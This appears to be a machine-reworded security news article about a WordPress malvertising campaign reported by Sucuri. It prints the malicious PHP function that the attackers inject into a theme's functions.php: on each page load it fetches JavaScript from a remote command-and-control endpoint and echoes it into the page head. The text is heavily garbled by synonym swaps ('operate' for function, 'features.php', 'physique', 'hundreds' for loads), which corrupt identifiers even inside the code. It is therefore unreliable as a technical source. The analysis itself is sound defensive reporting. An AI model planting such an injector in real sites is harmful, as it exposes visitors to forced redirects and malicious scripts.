WordPress web sites have change into a chief goal for menace actors searching for to monetize site visitors and compromise customer safety.
In current months, a brand new malvertising marketing campaign has emerged, leveraging silent PHP code injections inside theme information to serve undesirable third-party scripts.
The assault blends seamlessly with respectable web site operations, delivering obfuscated JavaScript that redirects guests, shows pop-ups, and evades safety instruments with out elevating suspicion.
Initially found by a web site proprietor noticing unexplained script hundreds, the intrusion originated from a small block of PHP code appended to the lively theme’s features.php file.
This injection didn’t alter seen web page content material, as an alternative executing behind the scenes on each request.
Sucuri analysts recognized the marketing campaign after detecting anomalous JavaScript calls to attacker-controlled domains and blocklisting by a number of safety distributors.
The assault primarily exploits weak file permissions and outdated themes. By gaining write entry—usually by means of compromised credentials or susceptible plugins—hackers insert a seemingly benign operate that contacts a command-and-control server.
As soon as invoked by way of the wp_head hook, the operate fetches a dynamic JavaScript payload and echoes it into the web page’s part, making certain execution earlier than the remainder of the web page hundreds.
Sucuri researchers famous that the injected operate establishes a POST connection to a distant endpoint at hxxps://brazilc[.]com/advertisements.php, retrieves the malicious script, and embeds it instantly into the HTML doc.
The payload performs two essential actions: loading a traffic-distribution script from porsasystem.com/6m9x.js and injecting a hidden 1×1 pixel iframe that mimics Cloudflare’s problem platform.
These strategies allow pressured redirects, pop-ups, and evasion of safety scanners by disguising malicious exercise as respectable CDN operations.
An infection Mechanism
The an infection mechanism hinges on the next PHP operate injected into features.php:-
// Injected PHP operate in features.php
operate ti_custom_javascript() {
$response = wp_remote_post(
‘
array(‘timeout’ => 15, ‘physique’ => array(‘url’ => home_url()))
);
if (!is_wp_error($response)) {
echo wp_remote_retrieve_body($response);
}
}
add_action(‘wp_head’, ‘ti_custom_javascript’);
Upon every web page load, this operate silently executes, contacting the C&C server and printing the returned JavaScript payload into the web page header.
Payload (Supply – Sucuri)
The attacker’s script then hundreds additional malicious code asynchronously, leveraging attributes like data-cfasync=”false” and async to bypass Cloudflare Rocket Loader.
By embedding inside a hidden iframe, the malware evades detection and resides persistently till the injected code is eliminated.
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